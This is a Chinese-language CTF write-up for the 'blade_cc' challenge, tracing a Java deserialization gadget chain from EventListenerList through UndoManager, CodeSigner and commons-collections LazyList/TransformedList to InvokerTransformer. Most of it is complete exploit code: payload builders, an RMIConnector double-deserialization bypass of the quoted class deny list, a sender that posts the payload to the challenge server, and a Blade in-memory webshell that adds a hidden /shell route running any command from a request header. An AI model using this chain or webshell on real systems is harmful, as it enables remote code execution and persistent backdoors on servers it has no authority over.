Skip to content

LilCTF blade_cc

TransformedList触发transform

EventListenerList#readObject触发toString开始

EventListenerList#readObject

image-20250828205533157

这里调用了add方法

image-20250828205833319

抛出异常,进行字符串的拼接,调用UndoManaget#toString

image-20250828211136231

这里的limitindexOfNextAdd都是int型

继续跟进来到CompoundEdit#toString

image-20250829220845734

edits是Vector类型

1
protected Vector<UndoableEdit> edits;

那么就会调用Vector#toString

image-20250829221041124

跟进来到AbstractCollection,调用StringBuilder#append

image-20250829221213241

image-20250829221341009

然后调用obj.toString

image-20250829221410728

那么通过Vectoradd方法把CodeSigner添加进去就可以调用CodeSigner#toString

image-20250828194245180

signerCertPath.getCertificates().get(0)

image-20250828201155636

这里其实就是调用LazyListget(0)

再看

1
List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));

factory使用的是new ConstantFactory(chainedTransformer));

那么LazyList#get中的object就是chainedTransformer

image-20250828201403080

然后来到TransformedList#set方法

image-20250828201458841

image-20250828201514543

最后来到InvokerTransformtransform

image-20250828200937398

由于CertPath重写了writeReplace,这里用agent将其hook掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import javassist.ClassPool;  
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.security.cert.CertPath;

public class RemoveReplaceTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("java/security/cert/CertPath")){
try {
System.out.println(true);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("java.security.cert.CertPath");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.detach();
return ctClass.toBytecode();
}catch (Exception e){
System.out.println(e);;
}

}

return classfileBuffer;
}

}

加上agent后,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class CCExp {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, chainedTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());
new ObjectInputStream(bin).readObject();
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}

image-20250829221754539

image-20250828202902044

最终调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
transform:91, TransformedCollection (org.apache.commons.collections.collection)
set:121, TransformedList (org.apache.commons.collections.list)
get:112, LazyList (org.apache.commons.collections.list)
toString:159, CodeSigner (java.security)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)

blade_cc

题目黑名单

1
2
String[] denyClasses = {"java.net.InetAddress", "sun.rmi.transport.tcp.TCPTransport", "sun.rmi.transport.tcp.TCPEndpoint", "sun.rmi.transport.LiveRef", "sun.rmi.server.UnicastServerRef", "sun.rmi.server.UnicastRemoteObject", "org.apache.commons.collections.map.TransformedMap", "org.apache.commons.collections.functors.ChainedTransformer", "org.apache.commons.collections.functors.InstantiateTransformer", "org.apache.commons.collections.map.LazyMap", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "org.apache.commons.collections.functors.ConstantTransformer", "org.apache.commons.collections.functors.MapTransformer", "org.apache.commons.collections.functors.FactoryTransformer", "org.apache.commons.collections.functors.InstantiateFactory", "org.apache.commons.collections.keyvalue.TiedMapEntry", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections.map.DefaultedMap", "org.apache.commons.collections.bag.TreeBag", "org.apache.commons.collections.comparators.TransformingComparator", "org.apache.commons.collections.functors.TransformerClosure", "java.util.Hashtable", "java.util.HashMap", "java.net.URL", "com.sun.rowset.JdbcRowSetImpl", "java.security.SignedObject"};

这里可以用上面的链子,RMIConnector二次反序列化绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class BladeCC {
public static String getPayload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();
Object templates = getTemplates(bytes);

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer );
List decorate = LazyList.decorate(decorate1, new ConstantFactory(templates));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);

return Base64.getEncoder().encodeToString(bao.toByteArray());
}

public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
ReflectTools.setFieldValue(jmxServiceURL, "urlPath", "/stub/"+getPayload());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});

FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
new ObjectOutputStream(fileOutputStream).writeObject(list2);
new N1ghtObjectInputStream(new FileInputStream("1.ser")).readObject();
}

public static Object getTemplates(byte[] byteCode) {
try {
Object templates = new TemplatesImpl();
ReflectTools.setFieldValue(templates, "_name", "n1ght");
ReflectTools.setFieldValue(templates, "_sdom", new ThreadLocal());
ReflectTools.setFieldValue(templates, "_tfactory", null);
ReflectTools.setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
return templates;
} catch (Exception var2) {
System.out.println("Error: " + var2);
return null;
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}

ReflectTools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import sun.reflect.ReflectionFactory;

public class ReflectTools {
public ReflectTools() {
}

public static void setAccessible(AccessibleObject member) throws Exception {
member.setAccessible(true);
}

public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (Exception var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}

return field;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static Constructor<?> getFirstCtor(String name) throws Exception {
Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}

public static Object newInstance(String className, Object... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}

public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T) sc.newInstance(consArgs);
}

public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap();
setFieldValue(s, "size", 2);

Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$EntAry");
}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}

public static Method getDeclaredMethod(Class clazz, String methodName, Class[] params) {
Method method = null;

while(clazz != null) {
try {
method = clazz.getDeclaredMethod(methodName, params);
method.setAccessible(true);
break;
} catch (NoSuchMethodException var5) {
clazz = clazz.getSuperclass();
}
}

return method;
}

public static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;

while(clazz != null) {
try {
method = clazz.getMethod(methodName, params);
break;
} catch (NoSuchMethodException var5) {
clazz = clazz.getSuperclass();
}
}

return method;
}
}

这里反序列化的时候已经调用了N1ghtObjectInputStream#resolveClass,成功绕过黑名单弹计算器

image-20250828221819581

由于环境不出网,还需要打blade内存马

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.CodeSigner;
import java.util.*;
import okhttp3.*;

public class BladeCC {
public static String getPayload() throws Exception{
// ClassPool pool = ClassPool.getDefault();
// CtClass ctClass = pool.makeClass("i");
// CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// ctClass.setSuperclass(superClass);
// CtConstructor constructor = ctClass.makeClassInitializer();
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
// byte[] bytes = ctClass.toBytecode();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Project\\JavaSec\\CC1\\target\\classes\\CC\\List\\bladeshell.class"));
Object templates = getTemplates(bytes);

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer );
List decorate = LazyList.decorate(decorate1, new ConstantFactory(templates));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);

return Base64.getEncoder().encodeToString(bao.toByteArray());
}

public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
ReflectTools.setFieldValue(jmxServiceURL, "urlPath", "/stub/"+getPayload());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});

// FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
// new ObjectOutputStream(fileOutputStream).writeObject(list2);
// new N1ghtObjectInputStream(new FileInputStream("1.ser")).readObject();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
byte[] serializedBytes = bao.toByteArray();

OkHttpClient client = new OkHttpClient();
MediaType mediaType = MediaType.parse("application/octet-stream");
RequestBody body = RequestBody.create(mediaType, serializedBytes);
Request request = new Request.Builder()
.url("http://challenge.xinshi.fun:45235/challenge")
.post(body)
.build();
Response response = client.newCall(request).execute();
System.out.println("[+] Response: " + response.body().string());
}

public static Object getTemplates(byte[] byteCode) {
try {
Object templates = new TemplatesImpl();
ReflectTools.setFieldValue(templates, "_name", "n1ght");
ReflectTools.setFieldValue(templates, "_sdom", new ThreadLocal());
ReflectTools.setFieldValue(templates, "_tfactory", null);
ReflectTools.setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
return templates;
} catch (Exception var2) {
System.out.println("Error: " + var2);
return null;
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}

内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import com.hellokaton.blade.Blade;
import com.hellokaton.blade.mvc.WebContext;
import com.hellokaton.blade.mvc.http.HttpMethod;
import com.hellokaton.blade.mvc.http.HttpResponse;
import com.hellokaton.blade.mvc.route.Route;
import com.hellokaton.blade.mvc.route.RouteMatcher;
import com.hellokaton.blade.mvc.ui.ResponseType;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.hellokaton.blade.mvc.http.Request;

public class bladeshell extends AbstractTranslet {

static {
try {
WebContext context = WebContext.get();
Blade blade = context.blade();
// 反射获取 routeMatcher
Field f = Blade.class.getDeclaredField("routeMatcher");
f.setAccessible(true);
RouteMatcher realMatcher = (RouteMatcher) f.get(blade);

// 构造你的 Route
Route route = Route.builder()
.httpMethod(HttpMethod.GET)
.path("/shell")
.target(new bladeshell())
.targetType(bladeshell.class)
.action(bladeshell.class.getDeclaredMethod("exp"))
.build();

Field field = Route.class.getDeclaredField("responseType");
field.setAccessible(true);
field.set(route, ResponseType.EMPTY);

Method addRoute = RouteMatcher.class.getDeclaredMethod("addRoute", Route.class);
addRoute.setAccessible(true);
addRoute.invoke(realMatcher, route);

Method register = RouteMatcher.class.getDeclaredMethod("register");
register.setAccessible(true);
register.invoke(realMatcher);

} catch (InvocationTargetException | NoSuchMethodException |
IllegalAccessException | NoSuchFieldException e) {
throw new RuntimeException(e);
}
}

public void exp() throws Exception{
WebContext context = WebContext.get();
HttpResponse response = (HttpResponse) context.getResponse();
Request request = context.getRequest();
String cmd = request.header("cmd");
Process process = Runtime.getRuntime().exec(cmd);

StringBuilder output = new StringBuilder();

try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errReader = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {

String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
while ((line = errReader.readLine()) != null) {
output.append(line).append("\n");
}
}
response.body(output.toString());
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

}

image-20250828231656749

参考

Lilctf_blade_cc

记从0开始的blade框架内存马挖掘

About this Post

This post is written by p0l1st, licensed under CC BY-NC 4.0.

#Java安全 CTF